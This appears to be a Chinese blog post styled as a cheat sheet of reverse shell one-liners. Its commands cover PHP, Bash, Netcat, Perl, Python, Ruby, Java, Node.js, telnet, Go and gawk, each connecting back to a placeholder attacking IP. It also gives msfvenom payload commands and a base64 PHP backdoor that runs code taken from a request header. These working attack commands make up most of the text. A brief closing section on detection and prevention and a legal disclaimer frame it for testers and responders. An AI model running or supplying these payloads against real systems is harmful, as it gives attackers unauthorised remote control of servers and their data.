首页 > 系统相关 >【整理】反向 Shell 速查表+应急响应

【整理】反向 Shell 速查表+应急响应

时间:2024-09-02 09:28:04浏览次数:5  
标签:速查表 IP Shell shell 反向 80 ATTACKING

#应急响应 #远程命令执行漏洞

原创 三沐数安

在渗透测试期间,如果您足够幸运地发现了远程命令执行漏洞,那么您通常会想要连接回攻击机器以利用交互式 shell。
此文也奉献给应急响应的朋友便于挖掘服务器上的shell,避免对资产造成损失。
以下是使用常用编程语言 PHP、Python、Powershell、nc (Netcat)、JSP、Java、Bash、PowerShell (PS) 的 Windows 和 Linux反向 shell的集合。

文章底部是 Kali Linux 中存在的可上传反向 shell 的集合。

免责声明

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!

什么是反向 Shell

反向 shell 是放置在目标服务器上的代码,执行后会尝试“重新连接”攻击机器上的监听 netcat。反向 shell 通常也称为 revshell。

设置监听 Netcat

要设置监听的 netcat 实例,请输入以下内容:

root@kali:~# nc -nvlp 80
nc: listening on :: 80 ...
nc: listening on 0.0.0.0 80 ...

❗注意:

如果您的攻击机器位于 NAT 路由器后面,则需要设置指向攻击机器 IP/端口的端口转发。

ATTACKING-IP是运行监听 netcat 会话的机器,下面所有示例中都使用了端口 80(出于上述原因)。

PHP 反向 Shell

以下部分包含已经过测试的 PHP 反向 shell。

一个简单的PHP反向shell:

php -r '$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");'
(Assumes TCP uses file descriptor 3. If it doesn't work, try 4,5, or 6)

PHP 反向 Shell 单行代码

一个简短的一行反向 PHP shell

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/"ATTACKING IP"/443 0>&1'");?>

简短的一行 PHP 反向 Shell

<?php
exec("/bin/bash -c 'bash -i > /dev/tcp/ATTACKING-IP/1234 0>&1'");

Base64 PHP Shell

<?=$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0]($x[1]);

MSFVenom PHP 反向 Shell

msfvenom -p php/meterpreter_reverse_tcp LHOST=ATTACKING-IP LPORT=443 -f raw > reverse-shell.php

如果您想识别更多的PHP shell 可以从如下链接进行学习:

GitHub 下载:

https://github.com/pentestmonkey/php-reverse-shell

ASP 反向 Shell

MSFVenom 来生成 ASP 反向 shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATTACKING-IP LPORT=443 -f asp > rev-shell.asp

Bash 反向 Shell

exec /bin/bash 0&0 2>&0
0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/ATTACKING-IP/80
cat <&5 | while read line; do $line 2>&5 >&5; done  

或者

while read line 0<&5; do $line 2>&5 >&5; done
bash -i >& /dev/tcp/ATTACKING-IP/80 0>&1

MSFVenom Bash 反向 Shell

msfvenom -p cmd/unix/reverse_bash LHOST=ATTACKING-IP LPORT=443 -f raw > reverse-shell.sh

socat 反向 Shell

socat tcp:ip:port exec:'bash -i' ,pty,stderr,setsid,sigint,sane &

Golang 反向 Shell

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","127.0.0.1:1337");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;http://cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go

Netcat 反向 Shell

nc -lnvp 80
nc -e /bin/sh ATTACKING-IP 80
/bin/sh | nc ATTACKING-IP 80
rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p

Node.js 反向 Shell

require('child_process').exec('bash -i >& /dev/tcp/10.0.0.1/80 0>&1');

Telnet 反向 Shell

rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p
telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443

记住也要监听攻击机器上的 443
Perl 反向 Shell

perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl Windows 反向 Shell

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

MSFVenom Perl 反向 Shell

msfvenom -p cmd/unix/reverse_perl LHOST=ATTACKING-IP LPORT=443 -f raw > reverse-shell.pl

Ruby 反向 Shell

ruby -rsocket -e'f=TCPSocket.open("ATTACKING-IP",80).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Java 反向 Shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Python 反向 Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

MSFVenom Python 反向 Shell

msfvenom -p cmd/unix/reverse_python LHOST=ATTACKING-IP LPORT=443 -f raw > reverse-shell.py

JSP 反向 Shell

msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKING-IP LPORT=443 -f raw > reverse-shell.jsp

WAR 反向 Shell

msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKING-IP LPORT=443 -f war > reverse-shell.war

Gawk 反向 Shell

gawk 'BEGIN {P=4444;S="> ";H="192.168.1.100";V="/inet/tcp/0/"H"/"P;while(1){do{printf S|&V;V|&getline c;if(c){while((c|&getline)>0)print $0|&V;close(c)}}while(c!="exit")close(V)}}'
#!/usr/bin/gawk -f

BEGIN {
        Port    =       8080
        Prompt  =       "bkd> "

        Service = "/inet/tcp/" Port "/0/0"
        while (1) {
                do {
                        printf Prompt |& Service
                        Service |& getline cmd
                        if (cmd) {
                                while ((cmd |& getline) > 0)
                                        print $0 |& Service
                                close(cmd)
                        }
                } while (cmd != "exit")
                close(Service)
        }
}

我们在应急响应过程中首先上述举例了好多shell的样例,我们作为应急工程师首先您要会识别反向shell的能力,关于检测的手段:
及时发现Bash进程启动事件
检查Bash进程是否打开了终端设备,是否有主动对外连接

作为企业人员我们如何防范反向shell

黑客使用反向shell 攻击的最常见方式是通过网络钓鱼电子邮件或其他社会工程策略发送恶意软件。然后他们会等到受害者登录到他们的帐户并执行代码。然后黑客可以控制该帐户并窃取他们想要的任何数据。
防止此类攻击的唯一真正方法是安装强大的安全解决方案并准备好在整个网络中运行。但是,公司可以采取一些措施来保护自己:

使用强密码

强密码是抵御反向shell攻击的第一道防线,因为它们通过要求对输入的每个字符进行多次猜测来保护系统免受暴力攻击。公司可以使用密码管理器生成强密码,或者他们可以使用 容易记住但别人很难猜到的随机单词组合。
强密码应该又长又复杂(至少12 个字符长);包含数字和符号;切勿包含姓名、地址、电话号码或生日等个人信息。它们对于给定计算机上的每个帐户也应该是唯一的。

定期审核和更新软件

静态应用程序安全测试(SAST) 是一种在部署应用程序之前检测其安全问题的方法。这是一种软件测试策略,可在应用程序投入生产之前分析代码中可被利用的漏洞。公司使用 SAST 在网络犯罪分子利用漏洞之前识别和修复漏洞。
此外,系统管理员需要安装所有必要的更新。他们还应该使用防火墙并定期更新。考虑安装入侵检测系统(IDS),这有助于在有人试图以未经授权的方式访问系统时发出警报。
补丁和升级发布后应尽快应用,因为这些补丁通常是软件或硬件中已知漏洞的结果。定期更新软件对于安全至关重要。

小心打开电子邮件附件

电子邮件附件是黑客感染计算机的常用方式。打开附件可能会让黑客控制计算机并窃取个人信息或伤害他人。
即使电子邮件看起来像是来自朋友或合法公司,也不意味着可以安全打开附件。一些网络罪犯使用虚假电子邮件诱骗他人打开他们的恶意文件。通知员工,如果他们不认识发件人,就不要打开附件!如果他们不确定附件是否真的来自它看起来来自的来源,他们应该在点击或下载任何内容之前与明显的发件人或安全团队核实。

使用防火墙

使用防火墙也有助于防止反向shell 攻击。防火墙阻止来自外部网络的流量。如果系统上没有开放的端口,其他人就无法使用反向shell 攻击方法访问它。
一个好的防火墙可以:
•阻止策略不允许的传入连接
•除非策略明确允许,否则阻止传出连接
•监控入站和出站流量,以便管理员知道何时有人试图在未经授权的情况下访问系统
对于反向shell 攻击,这可能意味着知道是否有人试图从不在允许列表中的IP 地址访问系统。这是在攻击成功之前检测到攻击的好方法。

参考

标签:速查表,IP,Shell,shell,反向,80,ATTACKING
From: https://www.cnblogs.com/o-O-oO/p/18391963

相关文章

  • shell进阶
    1.求0-200的总和#!/bin/bashsum=0foriin`seq1200`dosum=$[$i+$sum]doneecho$sum以上为0-200的总和的一个代码,首先需要将sum赋值为零,i从1取到200,每取一个数进行累加,并输出最终结果注:如果echo放在done前,会输出每次累加的结果,直到i等于2002.求1-n的总和#!/bin/......
  • Shell编程:一篇讲透数组全知识点
    文章目录数组数组参数的使用$*$@$#数组展开示例数组定义方法数组包含的数据类型获取数组长度读取特定索引的值数组遍历数组切片数组替换删除数组追加数组元素插入数组元素向函数传递数组参数数组在Bash脚本中,数组是一种存储多个元素的变量结构,可以使用不同的......
  • Shell函数:递归函数、阶乘和函数库
    文章目录递归函数示例1:阶乘计算示例2:递归列出目录函数库递归函数递归是指函数在其内部调用自身。递归函数常用于解决像阶乘、斐波那契数列等问题。示例1:阶乘计算阶乘(Factorial)是数学中的一种运算,表示从1乘以2乘以3…直到某个数n的乘积,记作n!。例如:4!=1×2×......
  • shell基础(保姆式教学)
    1.helloworld#!/bin/bashecho"helloworld!"以上为shell的第一个脚本我们可以在目录中直接vimhello.sh(创建hello.sh,并编辑)输入i后开始编辑#!/bin/bash表示指定该脚本文件应该由哪个解释器来执行。echo表示输出编辑完成后,按ESC,输入wq,保存退出执行脚本可以使用:sh......
  • 信息系统设计速查表
    信息系统设计速查表需求收集功能性需求:通过用户访谈、问卷调查和市场分析来确定系统必须实现的功能。非功能性需求:定义性能基准(如响应时间)、安全性要求(如数据加密标准,传输加密)、可靠性标准(如系统的正常运行时间,MTTR)。用户故事:使用敏捷方法论,如Scrum,来创建和优先级排序用户故事......
  • PowerDesigner反向生成数据库模型
    PowerDesigner反向生成数据库模型目录1.安装32位JDK2.安装ODBC3.配置ODBC4.更改当前DBMS5.导出数据库模型6.将Name改为Comment安装32位JDKPowerDesigner只支持32位JDK安装ODBC下载地址:https://cdn.mysql.com//Downloads/Connector-ODBC/8.0/mys......
  • shell学习
    ⼀、简介1.1Shell环境Shell编程跟java、php编程⼀样,只要有⼀个能编写代码的⽂本编辑器和⼀个能解释执⾏的脚本解释器就可以了。Shell的解释器种类众多,常⻅的有:sh-即BourneShell。sh是Unix标准默认的shell。bash-即BourneAgainShell。bash是Linux标......
  • 信息打点-CDN绕过篇&漏洞回链接口探针&全网扫描&反向邮件
    知识点:0、CDN知识-工作原理及阻碍1、CDN配置-域名&区域&类型2、CDN绕过-靠谱十余种技战法3、CDN绑定-HOSTS绑定指向访问CDN的全称是ContentDeliveryNetwork,即内容分发网络。其基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节,使内容传输得更......
  • shell(三剑客)
    正则表达式基本正则表达式元字符^行首定位符$行尾定位符.匹配任意单个字符(单个)*匹配前导符0到多次*和左侧的字符配合左侧字符可以出现0次到多次例如:grep"abc*"/tmp/123结果显示的是ababcabcd…….*任意多字符#会出现所有的内容[]匹配制定范围内的一个......
  • shell(第四章数组和函数)
    变量里面有索引比如:name=dufeng调用echo${name:0:1}输出的是du数字形索引是数组123123文字形索引是关联数组qwupdufeng定义数组数组名=(数组数组数组)数组名=(`cat/etc/passwd`)#反`优先执行数组名=(`ls/home*`)#只要数组可以输出结果数组名=(数组"......